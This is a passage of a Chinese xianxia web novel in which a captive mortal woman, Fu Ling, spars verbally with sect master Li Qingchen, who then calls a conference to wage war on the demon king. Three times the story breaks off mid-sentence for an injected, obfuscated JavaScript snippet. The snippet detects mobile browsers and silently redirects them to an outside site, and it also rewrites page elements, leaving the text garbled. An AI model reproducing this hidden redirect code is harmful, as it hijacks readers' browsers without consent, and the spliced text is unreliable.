傅灵一愣,骤然抬头。他的视线隔着荧光模糊地投来,“不过已经回去了。今日也没有急着让我放你出去。” 这好像是威胁,傅灵沉默地走到桌子前,看着上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844922|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的食物。都是清淡的菜色,还带着热气。 剑宗的弟子是以辟谷为目标的,因此大多修为低下的弟子也只是吃些野果充饥。她刚来剑宗不久很是不适应,只能自己做饭。 李青尘早就辟谷了,对她的“上供”敬谢不敏,倒是从秘境回来后能偶尔尝上一两口。 她勉强吃一口,有些意外剑宗里什么时候多了一个好厨子。 李青尘又重新垂眸看着古籍,只是很久都没有出现落笔的沙沙声。 半晌,他突然问: “你敢为他们两个人独入洗灵池,又因为他们两个听从我的命令——就这么喜欢他们?” 傅灵差点被呛到。 她低着头,有种被质问的羞恼和紧张。喜欢……是不至于的,她是愧疚。 毕竟只是因为自己的残魂,就一而再再而三地欺骗他们两个,还把他们置于危险。 不过话说回来,她如今的愧疚也是虚伪的……骗都骗了,还说那么多冠冕堂皇的话做什么呢? 上辈子,她也是骗过人的。 还是骗了三个。 当初她本以为自己只用骗李青尘一个,没想到遇到鼠妖之后,她瞬间就被拽进了地洞里。 等她晕头转向地醒来,就感觉自己的手臂被人拽着,像麻袋一般被拖着走。 天空被森林夹成一线,还有毛茸茸的大尾巴一左一右扫在她的脸上。 这里明显不是秦钟家附近,很可能不是灵界! 【醒了?宿主。欢迎来到妖界。迎接你的第二项“业务”吧。】 “……” “神思不属,在想何事?难道你喜欢的人除了他们还有别人?” 一道微冷的声音瞬间让傅灵回神,她的喉咙一动,“我对宗主的弟子没有任何觊觎之心,一切都是我攀龙附凤的妄想罢了。” 李青尘垂眸,缓缓翻开一页。“是么。” 傅灵食不下咽,她放下筷子深吸一口气。 “宗主是因为两个弟子的事,把我关起来吗?只要宗主送我回家,我可以听凭宗主任何命令,让他们……对我死心。” “你为何要回去?我曾去过凌家村。你的父母……丝毫不顾客念亲情,你难道还想回去孝顺他们?” 傅灵:“……” 她的大脑一片空白,甚至有一瞬间发现自己说不出什么。 李青尘放下书,视线若浮空寒星,“莫急,我确认了你的身份。当初我在剑宗石碑旁说信你……是凡人,不是假话。” 傅灵的指尖颤了颤,半晌才感觉到了血液的流动。她没想到李青尘离开的这几天竟然去调查她了。幸好她是在凌家出生的,被凌家人看着长大,否则此时不知道会…… 她想确认李青尘是不是在诈她,但再看他的手边,那无比眼熟的茶杯——不正是她的吗?! 原来他真的去过…… 傅灵的喉咙动了动,半晌勉强开口:“毕竟是给了我生命的父母,尘缘未了怎能一走了之?况且……我一个凡人,没有灵根难道要在这里蹉跎百年,眼睁睁地看着仙人们追求大道,而我满头白发沉郁一生吗?” 室内倏然一静。 她又深吸一口气,问:“既然宗主信我只是凡人,又为何不放了我?” 李青尘道,“你和他们两个定亲的事,任何人都不能知晓。” 原来还是怕剑宗丢人……傅灵微微一笑。 “那您可以毒哑我。您放心,我又聋又瞎又哑,即便我回村后交代什么,都不会有人信。” 荧光一闪,玉石不知何时碎裂,摇摇欲坠地挂在烛台上。 在令人窒息的沉默中,李青尘又消失了,像是骤然碎裂的金光。 傅灵有些茫然又有些松了一口气。 不知道哪句话又让大宗主生气了,这一次她甚至说话都很小心……不过既然对方离开了,她也能放松一晚。 对方说信她的身份,却没打算放了她,还亲自看管她。傅灵自然不信对方的一面之词。 现在想要出去,她只能靠自己了。而第一个要解决的问题,就是别缘峰的禁制。 她深吸一口气,看了一眼伤口刚愈合的手心。 第二日,李青尘又出现了,他沉默批阅古籍,好像昨天的“不欢而散”根本没发生。 傅灵默默来到洞府外,她宁愿站在门口吹着冷风,也不想面对对方的一身冷意。 李青尘微微抬眼,什么都没说。 只是今日的别缘峰的风格外和煦,她晒了一会太阳,模糊的视线里看到似乎有鲜妍的颜色出现。 别缘峰什么时候变了模样? 她试探地上前走了两步,不防脚下突然踢到了一节新长出的灵植,她瞬间向山下倒去。 千钧一发之际,腰身一紧。她撞进一个冰冷又宽阔的胸膛。 在衣衫纠缠中,她后怕地喘着粗气。发觉腰身的力度大到似乎能将她勒断。 她在恍惚中倏然回到从时空裂缝里回到灵界的那一天。 她的怀中还残留着小动物毛茸茸的触感,刚从缝隙里爬出来,就被一个青涩、震颤的胸膛拢住了。 15.第十五章 “师、师尊?” 傅灵靠在李青尘的怀里,她急促地呼吸着,半晌反应不过来。 李青尘没说话,只是勒住她身体的力气大到似乎要控制不住灵力。 “师、师尊,我回来了!其实我是因为……” “无事便好。”李青尘的声音沙哑,缓缓放开了她。只是身形有些踉跄,他闭了一下眼。 “此事以后再说。同门都很担心你,暂且回宗。” 傅灵看他缓缓转过身,一月不见,背骨竟然从薄薄的衣衫里凸出来,灵力比她一个筑境弟子还要凌乱微弱,不由得一惊。 “师尊,你怎么了?是不是受伤了?是那个鼠妖下的手吗?你还有哪里不舒服?我这里有……” 李青尘倏然停住,他垂眸。愈发清瘦的脸颊如同月下寒霜,但眉眼平和,像是初春融的雪。 “只是修炼出了一些差错,无事。你既然撞上禁制,无故消失一个月,回宗后还需要和我一起向你师祖禀告。下次遇到妖物切记不可鲁莽。” 【他应该以为你掉进了禁制里,所以在这里守了一个月。】 傅灵看到身后被剑阵苦苦支撑的缝隙,一瞬间瞳孔一缩。 李青尘竟然守了她一个月……那么庞大的灵力消耗,恐怕需要解开一部分封印。在原文里李青尘可是在灭宗之战里才展现实力的…… 她的嗓子变得干涩,他对她那么好,她还生气他对自己的态度…… 【你不是担心他对你的态度一般,完不成任务吗?现在可以放心了。】 “你还说?!”傅灵有些气恼,“没有你一直催我,我怎么可能会误会他?!” 她才不在乎什么攻略呢,她只是、只是怕自己在李青尘的心里只是个路人甲…… 现在看着对方的消瘦的背影,听着对方用沙哑的嗓音讲她失踪后发生的事,她的心脏像是被人泡在酸水里那般疼。 要不然就放弃攻略吧,只是说出了实情,对方会相信吗? 李青尘最为谨慎,因为年少吃了很多苦最不能容忍欺骗,况且她现在已经有了第二个“业务”…… 傅灵丧眉搭眼地跟在李青尘身后,本以为对方会直接唤剑带她回宗,却没想到不知不觉走到了城中心。 这城名叫绯云城,处在灵界外围,她听到了说书人抑扬顿挫的声音: “话说剑宗的宗主风化雨,百年前就已是婴境大能,如今虽境界停滞,但勉强能与妖王魔尊抗衡。 其经历过道侣身陨、宗门大变,仍不改道心,一心修炼,是灵界不可多得的刚正之人。今日我这就为各位讲讲他百年前是如何当上剑宗宗主的……” 旁边的散修们露出艳羡的表情,低声道有生之年一定要加入剑宗才好。也有人唏嘘,叹道风宗主在道侣死后多年仍未结契,真真是对道侣用情至深,是当世男修们的典范。 李青尘垂眸喝着热茶,休息了一会他的脸色好了很多。眸中云淡风轻,仿佛旁人议论的不是他宗门的宗主。 傅灵看了他一眼,有些话从进入剑宗之后她就憋着了。但是系统只给她一部分自由——她能改变秦钟没能替父报仇的命运,却对涉及主线的剧情一个字都不能说。 她只能吞吞吐吐地说,“其实……有些事情不能看表面。我倒是觉得风宗主没有看上去那么、那么……好。” 李青尘抬眼,傅灵有些紧张,小心地措辞,“你想……他要是真对道侣一心一意,在对方死后,那肯定要上穷碧落下黄泉地找啊。再不济得想办法让对方复活吧,哪有忘得一干二净只顾修炼的……” 茶杯顿在木桌上一响,李青尘问,“复活一人乃逆天而行,你从哪里听到的这些天方夜谭?” “话本里啊!”傅灵不察周围的声音莫名消失,越说越理直气壮,“人界的话本里都这么说!那些看着道侣死在眼前的人,哪一个不是将对方的尸体放在桃林里好好保存着,执拗守上几百年等着对方复活。再不济的,就等着对方转世,再续前缘。这些都做不到,谈什么深情啊?” 李青尘静静地看着她。 她莫名脸红,“师尊,你如此看我做什么?” 不仅是李青尘,她发现周围的人也都用奇怪的眼神看着她,尤其是刚才的那个说书人,好像是世界观被冲击了一样,恍惚地说: “原来还有这种写法……” 傅灵暗道你们这群“土包子”当然不知道未来“三生文学”的精髓,她看李青尘听进去了,于是有了自己的小心思,偷偷地问: “师尊,如果说哪一天万一……我是说万一我不小心出事了,你会不会想办法复活我啊?” 被捏着的茶杯一响,李青尘没说话。 傅灵有些不满意,“怎么不说话了,上次在秘境里不还答应我把我的东西都留着吗?不想着复活我难道留着它们送人吗?” 李青尘缓缓抬眼,“你不会出事。” 傅灵一愣,他道:“你会出事的唯一原因只有我技不如人。我既然答应和你永远信任、永远依赖,就不会让你出事。” 明明不是情话,却让傅灵红了脸。 她看着李青尘平静却深邃的眼睛,不好意思地偏过头,“我只是在开玩笑而已啦,我也知道什么‘复活’什么‘转世’都是假的,太过夸张。无论如何你好好的就行,我也希望你永远只专注修炼就好了,毕竟你是要飞升的……” 李青尘没说话,只是微勾了一下嘴角抿了一口茶。 傅灵不敢看他,只觉得今日绯云城的夕阳格外耀眼,照得李青尘的眼角都似染了金。 她顾左右而言他,“反正……你不要谁都相信,我的话你也不必放在心上。我深入研究过这些话本,觉得将尸体放在桃林里没有科、咳,灵力依据。要想招魂,最起码周围要种上……” 一阵灵力的波动瞬间让傅灵回神,腰上的力度离开,明明是和煦的环境却让她微微发冷。 李青尘后退一步,两人纠缠的袖子一点点分开。 他道:“你既不愿让我为你换一双眼睛,又不愿留在洞府内。却想用鲜血染红别缘峰……若是想让剑宗沾染因果,你也是出不去的。” 傅灵想要反驳她没想用命让他遭天谴,但百年前的回忆让她恍惚,她一时说不出什么来。 李青尘看了她一眼,却也没有开口。长袖拂风,从禁制入口遥遥一抓,一枚玉简出现在他的手心。 那是一枚传音玉简,傅灵下意识地就想转身,但李青尘已经捏碎了它——似乎不在乎她是否能听到一样。 不过她能听到也没什么,谁在乎一个又聋又瞎的凡人听到宗门秘辛做什么? “宗主,近日您闭关,本不欲打扰。但前几日人妖边界又出现冲突。灵兽宗的一长老被妖王的手下捏碎了灵丹。庄师兄和那长老有几分交情。我们二人合力击杀那名属下,在其身上发现了一物,想到宗主可能认识,还需您定夺。” 是裘双双的声音。 傅灵本来还想“装”聋子,但修士的声音本就清脆如玉石,她不仅听了全貌,还将“妖王”两个字听得清清楚楚。 妖王……她记得在妖界里也是等级分明的。能化形的大妖几乎与普通修士无异。能代替妖王征伐灵界,最起码是四大护法之一。 当初的护法应该已经被杀得差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852670|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了,但也有遇到新妖王就投诚的,所以现在死的可能是…… 她还没理出头绪,就感觉浑身一冷。她瞬间抬眼,就看到李青尘微微侧身,沉默而又溢着寒气看着她。 仿佛那两双模糊的眼睛又变成了金纹神目审视着她的灵魂。 她打了个激灵,立刻收回恍惚,露出迷茫的神色。 “宗主,事关宗门事务,我还是回避吧。” “无妨。” 李青尘的指尖一动,她的手臂自动抬起——又像以前那样被他如同木偶一般控制。她睁着灰蒙蒙的眼,很是顺利地走了两步,直到指尖碰到一张温润的石桌。 洞府前何时有了这么一张桌子? 她被控制着坐下,感觉到指尖旁有一盏热茶。接着身侧一凉,如同亘古的雪山融成冷雨落了下来——李青尘坐在了她旁边。 她立刻就僵了手指。 “宗主?” “妖族狡诈,现已经入侵修士地域多年,难保下一个目标不会是人界。你既然是凡人,知道这些秘辛也无妨。若是有朝一日……回去,也能有所防备。” 傅灵的心情复杂,只能梗了一下喉咙。 李青尘抬手,一道金光射了出去。片刻,天空遥遥有一红色身影飘来,其拿着玉简穿过禁制,却是停在洞府不远处,徒步而来。 是裘双双。 傅灵看不清对方的身形,却能感应到对方的灵力。 想到稍后要在听到妖族的事后保持正常,还要在李青尘的眼皮子底下,她就不由得暗叹口气。 裘双双缓缓落地,她没急着上山。 看着自己手上捧着的东西,她就无奈而又唏嘘地摇头。 这次别缘峰之行,她本不欲来。宗主常年闭关,她们也习惯以玉简通信,即便有物品要送出,让小弟子通传就行了。 除了上次要亲眼看看两个师侄的心上人,这是她为数不多的上山。更何况还是在宗主众目睽睽之下将人带走,不让旁人靠近之后…… 只是架不住郭昆师弟的恳求。 对于宗主的心思,全宗门上下是心知肚明,却没有一个人敢说出口,或者连暗示都不敢有。 ——这事太过骇人听闻,且牵扯人伦私情,谁敢戳破? 于是所有人都睁一只眼闭一只眼,装作没看到。 秦钟师兄这几日也一改刚正,沉默得不像他。只有郭昆一如既往,催着她让她探探口风。 事到如今,郭昆始终不敢相信宗主会为了一个凡人女子不顾声誉,做出抢夺之事来。 郭昆不敢问,于是就撺掇她来打探消息,看宗主到底是一时兴起,还是真的……如那两个弟子一样,被迷住了? 她心中已有猜测,只是不与人说。宗主能一反常态对凌七那么执着,恐怕是因为那一双与傅灵相似的眼睛。 本以为宗主早就放下了执念,没想到还是留在了百年前…… 裘双双叹口气,这次前来也是为了送出这物——只希望宗主看见它之后能稳固道心堪破迷障吧。 她如此想着,后知后觉今日的别缘峰为何如此温暖,她婴境的实力竟然微微出了汗,一抬首,看到路边竟不知何时长出了喜暖畏寒的绛红草。 她的步伐有些犹豫,来到洞府前刚想询问,却倏然失了声。 那个凡女坐在石桌前,微低着头捏着茶杯,神情平静而紧绷。 而在她看不见的地方,身后树影绰绰、藤蔓交织,灵植错落。灵力撞碎夕阳的金辉在空中缓缓垂落。 李青尘白袍曳地,在热气袅袅中侧头垂眸。 视线安静地落在她的脸上。 16.第十六章 “裘长老。” 裘双双瞬间回神,她深吸一口气,压下所有情绪,将宝盒缓缓抬起: “宗主师兄,冒昧打扰。这就是我和庄师兄从那名妖族的身上找到的……” 话音未落,李青尘就抬起手,“先坐吧。” 裘双双吞下了剩下的话,看了凌七一眼。她有些摸不准李青尘的用意,宗主是真用了心,想让这个凡女参与宗门事务,还是对凡人的存在毫不在意? 她只能按下疑惑,先坐了下来。 茶壶无声自动,汩汩流水声中李青尘问:“你和庄长老何时遇见那名妖族,他可还说了什么?” 裘双双顿了一下,她看了一眼旁边微微低着头的凌七。 “洞内灵力混沌,她在此处听了也无妨。” 宗主的洞府灵力混沌,那整个剑宗都没纯净之地了。裘双双定了定神,只得开口: “几日之前的事……为了不打扰您就没有禀明。今日清点对方的储物袋时发现了一物才敢打扰宗主师兄。那妖族……临死前也只是放了一些狠话。说我们即便杀了他,也拦不住妖族占领灵界的大势。” 话顿,深吸一口气接着说:“而且妖王早就将所有修士当成下等禽兽,灵界早晚会成为妖族的天下。” 傅灵的指尖一动。 李青尘倒是没有什么明显反应,他挥去飘在傅灵眼前的落叶: “苏傲乃一介妖王,狐妖化形、不通人性。说出此话并不为奇。” 傅灵:“……” 李青尘倏然侧目:“你似乎不以为意,可是听过苏傲的名号?” 在场一静,傅灵在诡异的沉默中才后知后觉李青尘是在问她。 她的指尖瞬间僵住,她什么表情都没有,李青尘为什么要问她? 裘双双惊讶而又好奇地转过脸,傅灵垂眸道: “我一介凡人,从小就有耳疾病、目疾,连灵界都是第一次进入,如何能知晓什么妖族的事呢。” 李青尘道:“凡人虽对灵界一事一无所知,但并非愚钝。多少神仙志怪传说都是由凡人得来。你虽不得见苏傲,但至少也应对妖魔之事有所见地。” 傅灵梗了一下,暗道怪不得李青尘毫不避讳她,原来还是在试探。 她谨记自己凡人的身份,因此决定自己的回答要毫不偏颇。 于是道:“我没读过什么书,只是在凡人眼里……仙、魔、妖都是传说中的人物,一样厉害罢了。” 李青尘似乎笑了一声,听声音却不带笑意。 裘双双坐在对面看着两人,莫名觉得自己有些坐不住了。 她深吸一口气,道:“宗主师兄,那妖族不足为奇,奇怪的是我们在那个狼妖身上发现了这个……” 她的视线落在那个盒子上。 傅灵的视线也不由得荡了过去,那盒子通体漆黑,散发着诡谲的寒气。 她不由得皱了一下眉。 “思来想去,恐怕也只有宗主师兄认识此物。” 裘双双说完,想要设下隔音禁制,但李青尘已经抬起手制止。 对方的视线在盒子上停留一瞬,似不在意傅灵在旁边看着,手掌轻落在盒子上。他的指尖苍白,和乌黑的盒子形成的鲜明的对比。 然后指尖微一用力,盒子就被缓缓打开了。 傅灵竭力装作自己不感兴趣,却还是忍不住偷偷瞥去视线。 在缓缓开启的缝隙中,她似乎看到了一点金光。金光明灭之中,似乎还有一些横平竖直的线条…… 她莫名熟悉,还想仔细再看,却听“砰”的一声响,盒子被以不容拒绝的力量压了回去。 霎时间灵力震荡,周围悚然一静。 李青尘垂着眸子,修长的指尖按在盒子上,如同死死缠着树干的玉枝。 傅灵在一瞬间呼吸一滞。 李青尘虽静如玉像。但身上的冷意却让人如坠深渊。 那里面到底是什么? “宗主师兄……”裘双双小心开口: “此物金光不灭,纹路简洁却让人难以捉摸。但上面的气息与邪宗人一般无二。我和庄师兄就想着,全宗门里只有宗主师兄和邪宗人接触最多……” 傅灵的呼吸乱了,“邪宗”就是庄天成和裘双双追杀的修士宗门。“邪宗”乃是如同修士赋以的名字。但他们自称上承天道,下接道法,是最正统的修士,是谓“元宗”。 虽自诩正统,却杀人夺宝,靠着诡异的力量吸取修士灵力,狠辣程度魔修尚且不及。 在天道系列里,元宗也是三本书共同的反派。 李青尘的父母就是死在元宗人的手中。她和李青尘之前在幻境里看到的白衣人首领就是元宗长老。 元宗人妄图抢夺藏锋谷护宗法宝,没曾想一场大火将所有烧毁,李青尘逃了出来。 此时看到仇人之物,怪不得李青尘的气息如此混乱冰冷。 她不自觉地投去视线,不防李青尘倏然抬眼。那一眼似乎玉枝断裂,有什么从腐朽寒冷的记忆里挣扎而出。 对方看着她,如同要把她的灵魂也扯入进去。 傅灵的呼吸一滞,以为是自己的目疾眼花,但李青尘已经侧过头,声音带着平静的清冷。 “确实是邪宗之物。” 裘双双叹息着,“宗主果然认识,当初邪宗人残害藏锋谷修士,又接连……祸乱剑宗。宗主身为亲历人,理应对这些东西印象深刻。” 李青尘垂眸,气息森冷。 裘双双又问:“敢问宗主,此物到底是何物?是否是法器?我等若以后遇到,也好有个准备。” 李青尘抬眼,“这是代表邪宗人身份的令牌,捏碎它就能撕碎空间,瞬行千里。” 原来只是令牌……傅灵想到原文里元宗人确实有一令牌,乃是元宗之主所制,元宗人就是靠着此物神出鬼没,杀人于无形。 裘双双道:“往日追查邪宗人尚未发现,应是只有修为高深者才配有此物。此等高阶法器定然是精通阵法者才能制成。只是不知这上面的字符是何意?我看其与灵界文字略微相似,但百思不得其解。” 字符?她一愣。她努力回想天道一里的细节,确定没有提到过字符。难道又是这个世界自动补全的“细节”? 她垂眸思忖,却半晌只能听到风声未闻回答。她微抬眼,看到李青尘按在盒子上的指尖有些青白,对方微微转动视线,暮色映在瞳孔,似耀阳逐渐被斑驳吞噬。 那视线似乎要吞噬到她。 她内心一跳,下意识地低下头。 “没有意义,只是阵法印记而已。” 李青尘的声音低低地落下,他的指尖按在乌木盒上的雕花上,指腹青白,似乎隔着盒子抚过什么。 然后微动袖袍,宝盒自动消失。 “你和庄长老辛苦了。此物暂且放在我这里。” 裘双双点头,她若有似无地看了双眼迷蒙的傅灵一眼,缓缓地开口: “宗主师兄,此物在狼妖护法身上被发现,就说明邪宗与妖族牵扯甚深。百年前他们就擅用人心,搅乱三界,如今卷土重来,让人实在担忧……” 李青尘半垂长睫,身上冷意和暮色交织,如同飘在空中不知何时落地的风。 见他没有明显反应,裘双双的胆子大了一些,她又小心地开口: “……说到邪宗操纵人心之能,我就不由得想起百年前。那时我对一切不甚清楚,却也亲眼看到过妖界之主、魔界之尊因为情障,不顾他人口舌、不理宗门之争,来剑宗抢、抢亲……” 李青尘倏然抬眼,裘双双的面色猛然一僵。 那凡女似乎毫无察觉,依然低头沉默,全然未觉周围的灵力一震,如同金光遁入黄昏,幽冷悄无声息地爬了上来。 她控制不住地用上护体灵力,下意识地想到自己的暗伤,不由得后悔。 早就知道宗主对以前的事讳莫如深,她今天来触什么霉头? 她想要告罪,却看李青尘已经收回视线,微微开口: “既然如此,为防邪宗与妖族联合,就召开屠妖大会。清算妖族百年罪孽。” 裘双双一愣,她只是来提醒宗主不要忘了百年前的事,打破对傅灵的情障,哪知道宗主竟然发了狠,直接要打妖王了? “去吧。”李青尘抬眼,“告诉秦钟通知百宗,三日后在剑宗召开大典,共商屠妖大计。” 裘双双如梦初醒,刚想离开,就听到那个一直沉默的凡女倏然紧绷开口: “仅凭一个令牌就能断定妖族和邪宗人勾结吗?如果是邪宗的离间之计呢,如果妖王也……浑然不知呢?” 此话一出,裘双双有些意外,李青尘放在茶杯上的手却是一顿。 裘双双莫名不寒而栗。 “你是在为狐妖打抱不平?” 李青尘问。 傅灵顿了一下,她意识到自己冲动了。但是李青尘和苏傲打起来的场面是她绝对不想看到的。 上辈子她被认定是邪宗人,是因为系统的暴露。她骗过他们,在知道结局的情况下,在知道幕后真凶是谁的情况下,还对真相三缄其口。眼睁睁地看着他们遍寻凶手,为了一点线索能蛰伏十年、吞土咽雪、成为行尸走肉…… 因此被误会她无话可说,但苏傲的母亲就是死于邪宗人之手,在《天道》二里,为了向凶手复仇他几乎被啃食殆尽……对方绝对不会与邪宗联手。 如今李青尘以邪宗为名进攻妖界,这不是正邪对立,而是两个男主、两本书,甚至是两个世界的对决。 那么多的角色,明明在各自的世界里有自己的人生,现在却成为了对方的“敌人”不死不休。 上辈子她就险些酿成错误,这辈子更不想亲眼看到那些熟悉的人死去了。 她闭了闭眼,轻声道:“没有。我只是怕……这段时间给我送衣食的小修士,有过一面之缘的那些长老,转瞬之间就成了枯骨。” 李青尘的视线落在她的脸上,脖颈微侧,筋骨凸出,冷硬如玉石。 “百年来,妖族杀害的修士也不在少数。为何苏傲就杀不得?” 傅灵一梗,低声道:“我赞成有仇报仇。只是你……不能出手。” 她缓缓抬眼,眼底的盈光冲破迷蒙,“宗主乃是百宗之首,岂止是一呼万应……到时候死的就不只是这些人了。” 李青尘的嘴角绷直:“那便更要杀了苏傲,斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857372|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断冤孽,永绝后患。” 傅灵咬了一下唇,不再说话了。 裘双双在旁边看得目瞪口呆。 她莫名觉得今日的宗主有些不对劲,再看对方一如既往地没有明显神情,但气息微沉,如同被冷意压到谷底的风,震颤地涌动起来。 她许久不见宗主这样,思忖一瞬后倒吸一口凉气,宗主这是……生气了? 想到一来到别缘峰对方的言行,越细想越觉得不对劲。 自从百年前结契大典后,宗主何曾有过如此明显的情绪。对方今日不仅频频让凌七开口,还声声紧逼,难道是因为想到百年前的事移情? 她带着一肚子热茶和疑惑离开了,只是飞出禁制前忍不住回头看一眼。 她提到百年前,宗主就直接要开屠妖大会,不知道对方会不会因此消解一些对傅灵的执念。 但她没预料到那个凡女缓缓抬头,视线遥遥地对她投来。 白裙似云,身形消瘦,那双灰蒙蒙的眸子却像能穿透所有流云,看到她的眼底。 裘双双呼吸一滞,恍惚间看到两个人的身影在重合,是那个人死而复生了。 但怎么可能,对方早就在百年前魂飞魄散了啊…… 裘双双露出苦笑,当年她们真的谈论过“起死回生”的事。 当年的傅灵和李青尘刚回宗门,她红着眼眶质问这个小师侄为何突然消失让所有人担忧,秦钟更是懊悔得形销骨立。 那个眼睛弯弯的小修士嘴角也弯了下去,连忙道歉。对方既然无事,他们欣喜大于责备,也就放了她一马。 正值十年一次的百宗大比,所有人加紧修炼。天赋高的恨不得日夜打坐,天赋一般的变卖灵芝兽骨只为了买保命法宝。 庄天成虽失去右臂,却不失斗志。只有正阳真人的弟子们得过且过——并不包括傅灵。 她正与人交易递付灵石时,被傅灵看个正着。对方红着眼过来问她买了什么花了那么多灵石。 她吞吞吐吐地,耐不住哀求只能说是外灵界盛传的“话本”,讲的是她们宗主风化雨苦等道侣百年待其复活的故事。 这个故事跌宕起伏可歌可泣,她便是叙述已经红了眼眶。 傅灵比她还激动,“这怎么能是风化雨的故事?!这明明是……”对方顿了顿,恨铁不成钢,“就这么个虚假的故事,就让你花了那么多灵石?” “宗门内禁止传阅,更何况是宗主的故事。自然贵些。” 傅灵看起来有些纠结,然后道:“这钱与其让别人挣,不如让我挣……我这里有更缠绵悱恻、恨海情天的故事,你要不要听?” 裘双双有些狐疑,然后对方几天后交出了一本小册子。她接过,只看了一个照面。 “这是什么?” 傅灵赶紧把册子收回来,“拿错了拿错了,这是原件。正品在这里……” 裘双双觉得奇怪,好像在看一本线条简单、横平竖直的鬼画符。 她再看换到手心的,眉头更紧,上面的字歪歪扭扭的,但其中的内容却让她震惊。 “这都是你写的?” “不是,我哪里那么有才气。”傅灵小声说,“这都是我听到的故事,整理成册。我只收个辛苦钱,只要一半的灵石就好了。” 裘双双再看,故事的主人就不是剑宗宗主了,而是逐仙阁的阁主、合欢宗的长老,竟然还有玉虚府的老祖!? 不知道傅灵是从哪里听到的,裘双双目瞪口呆。 “我可以给你灵石,只是这字迹……” “这还是我誊抄一遍的呢!”傅灵小声嘀咕,“这里的字太难写了,幸亏我有原件,还是我们那里的字更方便……” 裘双双没听清,但看在友情的面子上把灵石递给对方,傅灵满意地拍了拍储物袋。 “再卖出一百本,就够买护灵铠了……” 她福至心灵:“你要去参加宗门比试?” “哪能啊。”傅灵转了个圈,“你看我才刚入筑境,只会一些逃命的阵法,哪里敢上去挨揍。” “哦。”那就是为了李师弟了。为了灵石竟然不惜一遍遍誊抄……想到两人一次次地互相维护,她又是羡慕又是酸涩地说: “你之前死里逃生,别不是学会了这上面的复活之法吧。怪不得李师弟一口咬定你活着,还为了你守了那么久……” 傅灵美滋滋地一笑,“你怎么不念着我的好?什么复活都是假的!师尊肯守我是因为我们两个有心灵感应。而且师尊答应我,只要有他在,就肯定不会让我出事……” 但是傅灵没有想过,正是因为李青尘,她才魂飞魄散…… 裘双双千般滋味涌上心头,再看李青尘也微微侧目,视线又落在凌七身上,恍惚中像极了当年安静品茶的师徒。 她不自觉心中发苦。 她只想让宗主放下执妄,却也未曾问过自己,难道她也放下了吗? 罢了,就如此吧。 她逼回眼中的热意,离开了别缘峰。 傅灵收回视线,听到裘双双提到以前,李青尘又要开屠妖大会,不免心中窒闷。 只是她更没想到的是,李青尘召开大会的时候也带上了她。 17.第十七章 傅灵不想当什么救世主,但她也不能眼睁睁地看着所有人死在她面前。 至少在离开这个世界前不想。 【这不是你能控制的,宿主。】 李青尘不在的时候,系统终于出声,好几天才听到对方的声音,她有些恍惚。 “我知道我没那么大的力量,也没自作多情到以为现在两个人还能因为我打起来。” 傅灵苦笑一声,“我只是没想到当初因为我的出现,会让他们将对方和‘反派’联系起来。而且还是因为‘邪宗’,这个一切的罪魁祸首。” 【这和邪宗没关系。】系统说,【邪宗只是一个借口而已。即便妖族里从未有邪宗人出现过,只要李青尘认定有关系,那就是有关系。】 傅灵:“……” 她似哭似笑,想说什么却觉得无言以对。 【宿主已经做得够多了。百年前就已经化解了一场战争,百年后不该由你背负。你只要好好活着,等着我找回残魂,送你回家就可以了。】 百年前她什么时候化解……对了,是她的死。 是那场结契大典的暴露,中止了三个男人一场毁天灭地的战斗。 等一下,那系统有没有可能是为了…… 她被自己的猜测吓得打了个冷颤。这不可能,如果系统真的为了阻止世界崩塌故意暴露,当初又为何让三个世界融合,又为何让她主动攻略他们三个呢? 是她太敏感多疑,这一百多年的陪伴和守候不可能是假的…… 她如此安慰自己,还是觉得心口窒闷。直到屠妖大会的那日,仍神思不属。 除了宗门大比,剑宗近百年很少召开盛事,更何况是屠妖这种所有宗门共同目标的大典。 因此一早,剑宗天空各色遁光聚散,飞行法器密如繁星,大能齐聚灵力震荡,让所有行走的低阶修士如被泰山压顶,胆寒不已。 而此时的大殿上,本以为是同仇敌忾、杀气腾腾的大会,却是平静地有些诡异。 无他,只因当年一剑封山、怒斩万人,如今镇守灵界已为众宗之首的剑宗宗主李青尘的身侧,坐着一个凡人。 那凡人身形单薄、双目无神。即便身居寒气隔绝的法阵,也难掩面色苍白。 满座大能、灵界龙凤在此,此人自是不稀奇,但那双雾蒙蒙的眸子却透出沉静来,仿佛在场的所有修士,都只不过是浮尘流云。 剑宗有凡人不稀奇,毕竟有时候宗门会收留一些求仙者,留在身边也不稀奇,万一合个眼缘呢? 但他们难免想到当初听到的那个传言——剑宗宗主为老不尊,将两个得意弟子的心上人抢走,还关在自己的洞府里不许外人靠近一步。 那个女子正是个凡人。 实话说,灵界的奇闻异事不少,这种带着恩怨情仇的传得最快。 